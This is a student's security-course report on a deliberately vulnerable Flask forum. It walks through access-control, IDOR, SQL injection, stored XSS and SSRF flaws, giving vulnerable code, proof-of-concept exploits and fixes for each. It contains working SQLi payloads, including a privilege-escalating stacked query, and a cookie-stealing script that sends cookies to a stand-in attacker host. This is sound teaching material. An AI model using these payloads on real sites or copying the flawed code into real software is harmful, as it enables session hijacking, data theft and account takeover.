# Building to Break a "Vulnerable by Design" Approach to Web Security

**Final Project Report**

**Author:** Sagar
**Course:** COMP6841 - Security Engineering
**Tutorial Group:** H11B

## Abstract

This report details the conception, development, and analysis of a Vulnerable by Design web application created for the COMP6841 Security Engineering project. The application, a Student-Tutor Forum, was built from the ground up using Python, Flask, and SQLite to serve as a practical sandbox for exploring critical web security vulnerabilities. The project successfully implements and demonstrates five distinct flaws from the OWASP Top 10 named - SQL Injection, Stored Cross-Site Scripting (XSS), Broken Access Control, Insecure Direct Object Reference (IDOR), and Server-Side Request Forgery (SSRF). This document provides an in-depth analysis of each vulnerability, including a technical breakdown of the flawed code, a step-by-step proof-of-concept exploit, and a discussion of the correct remediation strategies. The project's primary outcome is a tangible learning tool that bridges the gap between theoretical security knowledge and practical application, transforming the developer's perspective from a builder to a defender.

## 1. Introduction

### 1.1. Motivation

The motivation for this project is deeply rooted in real-world experience. As the developer of a web application for a tutoring business, I became acutely aware of the responsibility tied to handling sensitive user data. It was no longer sufficient to build applications that were merely functional, they needed to be secure. That is the main reason I enrolled myself into COMP6841. This realisation sparked the central idea for this project as well which was to truly understand how to defend an application, one must first learn how to break it. A theoretical understanding of vulnerabilities is not enough. This project was conceived to create a controlled environment where attacks could be executed and analysed, fostering the attacker mindset necessary for building genuinely robust and trustworthy software.

### 1.2. Project Goal and Scope

The primary goal was to design and build a fully functional, yet intentionally insecure, web application to serve as a hands-on learning environment. The application, a Student-Tutor Forum, was scoped to include core features like user registration, login, post creation (public and private), and user profiles.

The project focused on the practical implementation and exploitation of these specific high-impact vulnerabilities from the OWASP Top 10 2021 list -

1. **A01:2021 - Broken Access Control**
2. **A01:2021 - Insecure Direct Object Reference (IDOR)** (A specific type of Broken Access Control)
3. **A03:2021 - Injection (SQLi & XSS)**
4. **A10:2021 - Server-Side Request Forgery (SSRF)**

### 1.3. Deliverables

The project deliverables include -

- The complete source code for the vulnerable web application.
- A secure version of the codebase with all vulnerabilities remediated.
- A 3-minute video demonstration of the exploits.
- This detailed final report.
- A 2 page summary document.

## 2. Application Architecture

### 2.1. Technology Stack

The "Student-Tutor Forum" was built using a lightweight and common technology stack, chosen specifically to make the underlying code (both vulnerable and secure) easy to understand.

- **Backend:** Python 3 with the **Flask** micro-framework.
- **Database: SQLite 3**, a simple, file-based database.
- **Frontend:** Standard **HTML5**, **CSS3**, and minimal vanilla **JavaScript**.

### 2.2. Key Features

- User authentication (registration and login).
- Post creation with public/private visibility settings.
- Post editing and deletion.
- A user profile page with editable details.
- An admin panel for user management.

## 2.3. Project Setup Guide

This guide provides the steps to set up and run the vulnerable application locally.

**Prerequisites:**

- Python 3.8 or newer.

- `pip` for package management.

#### Step 1: Clone the Repository

First, clone the project repository to your local machine.

```
git clone https://github.com/SagarB42/COMP6841_project.git
cd COMP6841_project
```

#### Step 2: Create and activate a virtual environment (optional but recommended)

```
python3 -m venv venv
source venv/bin/activate  # On Windows, use `venv\Scripts\activate`

pip install -r requirements.txt
```

#### Step 3: Initialise the Database

Run the following command in your terminal to create the database.db file and set up the necessary tables and default users.

```
flask --app app initdb
```

You should see a confirmation message: "Initialised the database."

Tip - if you would like to restore the database at anypoint, run the above command as well.

#### Step 4: Run the Application

Finally, run the Flask development server.

```
flask --app app run
```

The application will now be running and accessible at http://127.0.0.1:5000 in your web browser.

## 3. Vulnerability Analysis and Exploitation

This section provides a detailed write-up for each of the five implemented vulnerabilities.

### 3.1. A01:2021 - Broken Access Control

- **The Flaw -** The application fails to properly enforce restrictions on what authenticated users are allowed to do. The `/admin` endpoint, which displays sensitive user information, is not protected by a role-based access check.

- *Vulnerable Code ( `app.py` ) -*

```
@app.route('/admin')
def admin():
    if 'user_id' not in session:
        return redirect(url_for('login'))
    # Only checks if logged in
    # Missing a check to see if session['role'] == 'admin'
    db = get_db()
    users = db.execute('SELECT ...').fetchall()
    return render_template('admin.html', users=users)
```

- **Proof of Concept (Exploitation) -**

  i. Register and log in as a new, non-admin user.
  ii. Observe that there is no "Admin Panel" button in the user interface.
  iii. Manually type the URL `http://127.0.0.1:5000/admin` into the browser's address bar.
  iv. **Result:** The user is granted full access to the admin panel, able to view all users and their roles, despite not being an administrator.

- **The Fix (Remediation) -** The fix is to add an explicit role check on the server-side, ensuring that only users with the 'admin' role can access the route.

  - *Secure Code ( `app.py` ):*

```
@app.route('/admin')
def admin():
    if 'user_id' not in session:
        return redirect(url_for('login'))
    if session.get('role') != 'admin':
        abort(403)
    db = get_db()
```

### 3.2. A01:2021 - Insecure Direct Object Reference (IDOR)

- **The Flaw -** As a specific type of Broken Access Control, the application allows a user to perform an action on an object (like editing a post) by referencing its ID in the URL, but it fails to verify that the logged-in user is the owner of that object.

  - *Vulnerable Code ( `app.py` ) -*

```
@app.route('/edit_post/<int:post_id>', methods=['GET', 'POST'])
def edit_post(post_id):
    if 'user_id' not in session:
        return redirect(url_for('login'))
    # Missing a check to verify post_data.author_id == session['user_id']
```

- **Proof of Concept (Exploitation) -**

    i. A user notes that when they edit their own post (ID 5), the URL is `/edit_post/5` .
    ii. They see a public post made by another user (ID 4).
    iii. The user manually navigates to `/edit_post/4` .
    iv. **Result:** Because the server never checks for ownership, the user is able to see the edit page and successfully modify the content of a post that does not belong to them.

- **The Fix (Remediation) -** Before performing any action, the server must perform an authorisation check to verify ownership.

    - *Secure Code ( `app.py` ) -*

```
post_data = db.execute('SELECT * FROM posts WHERE id = ?', [post_id]).fetchone()
if post_data['author_id'] != session['user_id'] and session.get('role') != 'admin':
    abort(403)
```

## 3.3. A03:2021 - Injection (SQL Injection & Stored XSS)

- **The Flaw (SQLi) -** The application inserts untrusted user input directly into SQL queries using f-string formatting. This allows an attacker to manipulate the query's logic. This flaw is present in the login, profile update, and search functionalities.
    - *Vulnerable Code ( `app.py` , Login) -*

```
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
```

- *Vulnerable Code ( `app.py` , Search) -*

```
query = f"SELECT ... WHERE p.visibility = 'public' AND p.title LIKE '%{search_query}%'"
```

- *Vulnerable Code ( `app.py` , Profile Update) -*

```
query = f"UPDATE users SET first_name = '{first_name}', last_name = '{last_name}' WHERE i
db.cursor().executescript(query)
```

- **Proof of Concept (SQLi) -**

    i. **Login Bypass -** At the login page, enter the username `' OR 1=1 --` . The password field can be left blank. The server executes `...WHERE username = '' OR 1=1...` , which is always true, logging the attacker in as the first user (the admin).
    ii. **Sensitive Data Exposure via Search -** On the home page, the search query is also built insecurely. By entering the payload `%' OR 1=1 --` into the search bar, an attacker can

bypass the `visibility = 'public'` filter and view all posts in the database, including other users' private posts.

iii. **Privilege Escalation -** On the user profile page, an attacker with username 'attacker' can set their first name to the payload: `attacker'; UPDATE users SET role = 'admin' WHERE username = 'attacker'--` . The vulnerable code uses `executescript` , allowing it to run multiple SQL commands. This executes a second, malicious query that elevates the attacker's privileges to 'admin', giving them full control.

- **The Flaw (XSS) -** The application stores user-supplied content (forum posts) in the database without sanitisation. When this content is rendered on the page for other users, a `|safe` filter is used in the template, causing the browser to execute any embedded JavaScript.

  - *Vulnerable Code ( `post.html` template) -*

```
<div class="post-content">
    {{ post.content | safe }}
</div>
```

- **Proof of Concept (XSS) -**

  i. An attacker creates a new post and inserts a malicious script designed to steal cookies - `<script>fetch('http://attackers-site.com/?cookie=' + document.cookie);</script>` .

  ii. When another user views this post, their browser executes the script, sending their session cookie to the attacker's server (also present in the git repository), allowing for session hijacking.

- **The Fix (Remediation) -**

  - **For SQLi -** Never use string formatting for SQL queries. Use parameterised queries (prepared statements), which treat user input as data, not as executable code.
    - *Secure Code ( `app.py` , Login) -*

```
query = "SELECT * FROM users WHERE username = ? AND password = ?"
user = db.execute(query, (username, password)).fetchone()
```

    - *Secure Code ( `app.py` , Search) -*

```
query = "SELECT ... WHERE p.visibility = 'public' AND p.title LIKE ?"
public_posts = db.execute(query, ('%' + search_query + '%',)).fetchall()
```

    - *Secure Code ( `app.py` , Profile Update) -*

```
query = "UPDATE users SET first_name = ?, last_name = ? WHERE id = ?"
db.execute(query, (first_name, last_name, user_id))
```

- **For XSS -** Remove the `|safe` filter and rely on the template engine's default auto-escaping feature. This converts special HTML characters into their harmless entity equivalents.
  - *Secure Code ( `post.html` template):*

```
<div class="post-content">
    {{ post.content }}
</div>
```

### 3.4. A10:2021 - Server-Side Request Forgery (SSRF)

- **The Flaw -** The application fetches a resource from a user-supplied URL (for a profile picture) without proper validation. An attacker can provide a URL pointing to an internal service instead of an image. The flaw is compounded because the application leaks the first 150 characters of the response in an error message if the content is not an image.
  - *Vulnerable Code ( `app.py` ):*

```
response = requests.get(profile_pic_url, timeout=5)
if 'image' not in response.headers.get('Content-Type', ''):
    leaked_content = response.text[:150]
    flash(f"URL did not point to a valid image. Response started with: '{leaked_content}..
```

- **Proof of Concept (Exploitation) -**
  1. An attacker attempts to directly access `http://127.0.0.1:5000/server-status` and gets a '403 Forbidden' error, confirming it's a firewalled, internal-only endpoint.
  2. The attacker then goes to their user profile and provides that same internal URL in the "Profile Picture URL" field.
  3. **Result -** The server makes the request on the attacker's behalf, bypassing the firewall. Since the response is not an image, the application leaks the contents of the internal page in an error message, revealing sensitive credentials. "SERVER HEALTH: OK... SUPREME_USER : iHeaRtcoMP6841".
- **The Fix (Remediation) -** The most robust fix involves multiple layers: validate user input with an allowlist of trusted image domains, and crucially, **never leak raw response details in error messages**. The error should be generic.
  - *Secure Code ( `app.py` ):*

```
flash("The URL provided was not a valid image.")
```

## 4. Reflection

This project was a challenging yet incredibly rewarding journey into the practical realities of web application security. The most significant finding was how a single, seemingly small coding oversight could cascade into a critical system compromise. For example, a simple unparameterised SQL query didn't just leak data, it enabled full account takeover and privilege escalation. A key challenge encountered was managing the project's scope. My initial plan focused on two or three vulnerabilities, but as I researched the OWASP Top 10, my excitement led me to expand the scope to five. This made the project more comprehensive but also significantly increased the workload, highlighting the importance of adhering to predefined timelines. Planning the application's look, feel, and functionality, while also planning where and how to implement each flaw, was a complex balancing act that took considerable time.

The development process itself presented challenges, particularly in the later stages. An initial goal was to deploy the application to better simulate real-world attacks, but due to time constraints, this was not achieved, and the project was submitted as a localhost-only application. This was a direct result of underestimating the time required for both development and documentation. The entire codebase was written from scratch, with AI tools used only for minor editing of this report. This hands-on approach reinforced the core lesson of the project - effective security is not a feature to be added on, but a foundational principle that must be considered at every stage of development, from the first line of code to the final deployment.

## 5. Conclusion

This project successfully achieved its goal of creating a practical, hands-on tool for understanding web application security. By building, breaking, and then fixing a web application, I have moved beyond a purely theoretical knowledge of vulnerabilities. This process has fundamentally changed my perspective on software development, instilling a security-first mindset. The skills gained in vulnerability analysis, exploitation, and remediation are directly applicable to building more secure and trustworthy applications in the future. The project stands as a testament to the idea that to be an effective defender, you must first learn to think like an attacker.

## 6. References

- OWASP. (2021). *OWASP Top 10 - 2021*. Retrieved from https://owasp.org/www-project-top-ten/

## Appendix A: Source Code

https://github.com/SagarB42/COMP6841_project